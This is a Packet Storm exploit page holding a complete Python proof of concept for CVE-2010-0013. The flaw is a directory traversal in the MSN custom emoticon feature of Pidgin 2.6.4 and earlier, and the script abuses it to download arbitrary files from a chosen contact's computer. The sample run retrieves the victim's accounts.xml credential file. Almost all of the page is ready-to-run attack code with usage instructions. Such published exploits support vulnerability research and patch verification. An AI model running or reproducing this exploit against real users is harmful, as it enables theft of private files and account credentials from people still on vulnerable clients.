what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Pidgin MSN 2.6.4 File Download

Pidgin MSN 2.6.4 File Download
Posted Jan 20, 2010
Authored by Mathieu GASPARD

Pidgin MSN versions 2.6.4 and below file download proof of concept exploit.

tags | exploit, proof of concept
advisories | CVE-2010-0013
SHA-256 | 5533dee79bd4ed67416ec233d6b4b1a39fb1cdcc74e36f834c33a8f43ae553a7

Pidgin MSN 2.6.4 File Download

Change Mirror Download
#!/usr/bin/env python 
"""
Pidgin MSN <= 2.6.4 file download vulnerability

19 January 2010

Mathieu GASPARD (gaspmat@gmail.com)


Description:
Pidgin is a multi-protocol Instant Messenger.

This is an exploit for the vulnerability[1] discovered in Pidgin by Fabian Yamaguchi.
The issue is caused by an error in the MSN custom smiley feature when processing emoticon requests,
which could allow attackers to disclose the contents of arbitrary files via directory traversal attacks.

Affected versions :
Pidgin <= 2.6.4, Adium and other IM using Pidgin-libpurple/libmsn library.
Plugin msn-pecan 0.1.0-rc2 (http://code.google.com/p/msn-pecan/) IS also vulnerable even if Pidgin is up to date

Plateforms :
Windows, Linux, Mac

Fix :
Fixed in Pidgin 2.6.5
Update to the latest version : http://www.pidgin.im/download/

References :
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0013
[2] http://www.pidgin.im/news/security/?id=42

Usage :
You need the Python MSN Messenger library : http://telepathy.freedesktop.org/wiki/Pymsn
python pidgin_exploit.py -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE [-o OUTPUT_FILE] [-l]

Example :
# python pidgin_exploit.py -a foo@hotmail.com -c victim@hotmail.com -f ../accounts.xml [-o accounts.xml]

***********************************************************

Pidgin MSN file download vulnerability (CVE-2010-0013)

Usage: %prog -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE_REQUESTED [-o DESTINATION_FILE] [-l]

***********************************************************

Please enter the password for the account "foo@hotmail.com"
Password:
[+] Connecting to server
[+] Authentication in progress
[+] Synchronisation in progress
[+] OK, all done, ready to proceed
[+] Sending request for file "../accounts.xml" to "victim@hotmail.com"
[+] Using session_id 974948028
Current : 3606, total: 3881 (92%)
[+] Got an answer from the contact
----------------
<?xml version='1.0' encoding='UTF-8' ?>

<account version='1.0'>
........
"""


import warnings
warnings.simplefilter("ignore",DeprecationWarning)
import os
import sys
try:
import pymsn
except ImportError:
print "Pymsn couldn't be loaded"
print "On debian-like systems, the package is python-msn"
sys.exit(-1)
import gobject
import logging
import getpass
import hashlib
from optparse import OptionParser
import signal
import time

SERVER_ADDRESS = 'messenger.hotmail.com'
SERVER_PORT = 1863
FD_OUT = sys.stdout
MAINLOOP = None
# seconds after which, if we didn't get an answer, we quit
TIMEOUT = 5

global_client = None

def quit():
MAINLOOP.quit()
sys.exit(0)


def check_if_succeeds():
# if False, we didn't get a chunk so we won't get any file, so we quit
if global_client.GOT_CONTROL_BLOB == False:
print "[+] Didn't get an answer from the client after %d seconds, it's likely not vulnerable or the file requested doesn't exist/is not accessible"%TIMEOUT
print "[+] Exiting"
global_client.quit()

# called when we get the result data, after our request
def handle_answer(object, client):
print "\n[+] Got an answer from the contact"
d = object._data
data = d.read()
length = len(data)
FD_OUT.write(data)
# if we wrote output to stdout, don't close it
if FD_OUT != sys.stdout:
FD_OUT.close()
print "[+] Wrote %d bytes to file"%length
client.end = time.time()
duration = client.end - client.begin
print "[+] Download lasted %d seconds at %d bytes/s "%(duration,(length/duration))
client.quit()

def my_on_chunk_recv(transport, chunk):
global_client._p2p_session_manager._transport_manager._on_chunk_received_OLD(transport, chunk)
session_id = chunk.header.session_id
blob_id = chunk.header.blob_id
if session_id == global_client.session_id:
# first blob is control, we "squeeze" it and keep only the second one
if global_client.GOT_CONTROL_BLOB == False:
#print "Got Control blob in our connection (session_id : %d, blob_id: %d)"%(session_id, blob_id)
global_client.GOT_CONTROL_BLOB = True
else:
# if connections is complete, session_id is removed from data_blobs so we have to check before accessing it
if global_client._p2p_session_manager._transport_manager._data_blobs.has_key(session_id):
current_blob = global_client._p2p_session_manager._transport_manager._data_blobs[session_id]
print "Current : %d, total: %d (%d%%)\r"%(current_blob.current_size, current_blob.total_size, ((current_blob.current_size*100)/current_blob.total_size)),
sys.stdout.flush()


def error_handler(self, error_type, error):
# __on_user_invitation_failed, probably because contact is offline/invisible
if error_type == pymsn.event.ConversationErrorType.CONTACT_INVITE and \
error == pymsn.event.ContactInviteError.NOT_AVAILABLE:
print "[*] ERROR, contact didn't accept our invite, probably because it is disconnected/invisible"
quit()
# __on_message_undelivered, probably because contact is offline/invisible
if error_type == pymsn.event.ConversationErrorType.MESSAGE and \
error == pymsn.event.MessageError.DELIVERY_FAILED:
print "[*] ERROR, couldn't send message, probably because contact is disconnected/invisible"
quit()
print "[*] Unhandled error, error_type : %d , error : %d"%(error_type, error)
quit()

class MyClient(pymsn.Client):
def __init__(self, server, quit, victim, filename, list_only, proxies={}, transport_class=pymsn.transport.DirectConnection):
# callback to quit
self.quit = quit
# victim from whom we request the file
self.victim = victim
# just list contacts for this account
self.list_only = list_only
# file we request
self.filename = filename
# to calculate download duration and speed
self.begin = 0
self.end = 0
# session_id of the connection to retrieve the file
self.session_id = 0
# have we already seen the "control blob" for this connection
self.GOT_CONTROL_BLOB = False
pymsn.Client.__init__(self, server)
# REALLY REALLY HACKISH
# if contact is disconnected/invisible, a "NotImplementedError" exception is raised
# and it can't be caught AFAIK so it needs to be redefined here
# handler_class should be SwitchboardClient
for handler_class, extra_args in self._switchboard_manager._handlers_class:
handler_class._on_error = error_handler



class MyMSNObjectStore(pymsn.p2p.MSNObjectStore):
def __compute_data_hash(self, data):
digest = hashlib.sha1()
data.seek(0, 0)
read_data = data.read(1024)
while len(read_data) > 0:
digest.update(read_data)
read_data = data.read(1024)
data.seek(0, 0)
return digest.digest()

# need to compute the SHA hash (SHAd in MSNObject) otherelse the function in MSNObjectStore complains because
# the hash of the data we receive is not the hash we expected (hash we expect is the one we send, which is always the same here)
def _outgoing_session_transfer_completed(self, session, data):
handle_id, callback, errback, msn_object = self._outgoing_sessions[session]
msn_object._data_sha = self.__compute_data_hash(data)
super(MyMSNObjectStore, self)._outgoing_session_transfer_completed(session, data)

class ClientEventHandler(pymsn.event.ClientEventInterface):

def on_client_error(self, error_type, error):
if error_type == pymsn.event.ClientErrorType.AUTHENTICATION:
print "[+] Authentication failed, bad login/password"
self._client.quit()
else:
print "[*] ERROR :", error_type, " ->", error

def on_client_state_changed(self, state):
#print "State changed to %s" % state
if state == pymsn.client.ClientState.CLOSED:
print "[+] Connection to server closed"
self._client.quit()

if state == pymsn.client.ClientState.CONNECTING:
if self.current_state != state:
print "[+] Connecting to server"
self.current_state = state
if state == pymsn.client.ClientState.AUTHENTICATING:
if self.current_state != state:
print "[+] Authentication in progress"
self.current_state = state
if state == pymsn.client.ClientState.SYNCHRONIZING:
if self.current_state != state:
print "[+] Synchronisation in progress"
self.current_state = state

if state == pymsn.client.ClientState.OPEN:
print "[+] OK, all done, ready to proceed"
self._client.profile.presence = pymsn.Presence.INVISIBLE
contact_dict = {}
for i in self._client.address_book.contacts:
contact_dict[i.account] = i
if self._client.list_only:
for (k,v) in contact_dict.items():
print k+" ("+v.display_name+")"
self._client.quit()
else:
if self._client.victim not in contact_dict.keys():
print "[*] Error, contact %s not in your contact list"%self._client.victim
self._client.quit()
else:
contact = contact_dict[self._client.victim]
store = MyMSNObjectStore(self._client)
object = pymsn.p2p.MSNObject(contact, 65535, pymsn.p2p.MSNObjectType.CUSTOM_EMOTICON, self._client.filename, 'AAA=','2jmj7l5rSw0yVb/vlWAYkK/YBwk=')
print "[+] Sending request for file \"%s\" to \"%s\""%(self._client.filename, self._client.victim)
self._client.begin = time.time()
store.request(object, [handle_answer, self._client])
# at this moment, we got only one session_id, the one we will use to request the file
for k in store._outgoing_sessions.keys():
print "[+] Using session_id %d"%k._id
self._client.session_id = k._id
# hack to set up my own callback each time we receive a chunk, used to print the percentage of the download
self._client._p2p_session_manager._transport_manager._on_chunk_received_OLD = self._client._p2p_session_manager._transport_manager._on_chunk_received
self._client._p2p_session_manager._transport_manager._on_chunk_received = my_on_chunk_recv
# if no file transfer received from the victim after TIMEOUT seconds, quit
gobject.timeout_add(TIMEOUT*1000, check_if_succeeds)

def __init__(self, client):
self.current_state = None
pymsn.event.ClientEventInterface.__init__(self, client)


if __name__ == '__main__':
print "***********************************************************\n"
print "Pidgin MSN file download vulnerability (CVE-2010-0013)\n"
print "Usage: %prog -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE_REQUESTED [-o DESTINATION_FILE] [-l]\n"
print "***********************************************************\n"

usage = "Usage: %prog -a YOUR_MSN_EMAIL -c TARGET_MSN_EMAIL -f FILE_REQUESTED [-o DESTINATION_FILE] [-l] "
parser = OptionParser(usage=usage)
parser.add_option("-f", "--file", dest="filename", default=None,
help="File requested to remote contact")
parser.add_option("-o", "--output", dest="output_file", default=None,
help="Where to write received file, STDOUT otherelse")
parser.add_option("-a", "--account", dest="account", default=None,
help="MSN account to use")
parser.add_option("-c", "--contact", dest="contact", default=None,
help="Contact to request file from")
parser.add_option("-l", "--list", dest="list_only", action="store_true", default=False,
help="Just print contact list for your account and exit")

(options, args) = parser.parse_args()
if not options.filename or not options.account or not options.contact:
if not (options.account and options.list_only):
print "Error, parameter missing"
parser.print_help()
sys.exit(-1)

if options.output_file != None:
try:
FD_OUT = open(options.output_file,"wb")
except Exception,e:
print "Cannot open file %s (%s)"%(options.output_file, e)
sys.exit(-1)

MAINLOOP = gobject.MainLoop()

def sigterm_cb():
gobject.idle_add(quit)

signal.signal(signal.SIGTERM, sigterm_cb)

logging.basicConfig(level=logging.CRITICAL) # allows us to see the protocol debug
server = (SERVER_ADDRESS, SERVER_PORT)
client = MyClient(server, quit, options.contact, options.filename, options.list_only)
global_client = client
client_events_handler = ClientEventHandler(client)
print "Please enter the password for the account \"%s\""%options.account
try:
passwd = getpass.getpass()
except KeyboardInterrupt:
quit()

login_info = (options.account, passwd)
client.login(*login_info)
try:
MAINLOOP.run()
except KeyboardInterrupt:
quit()


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close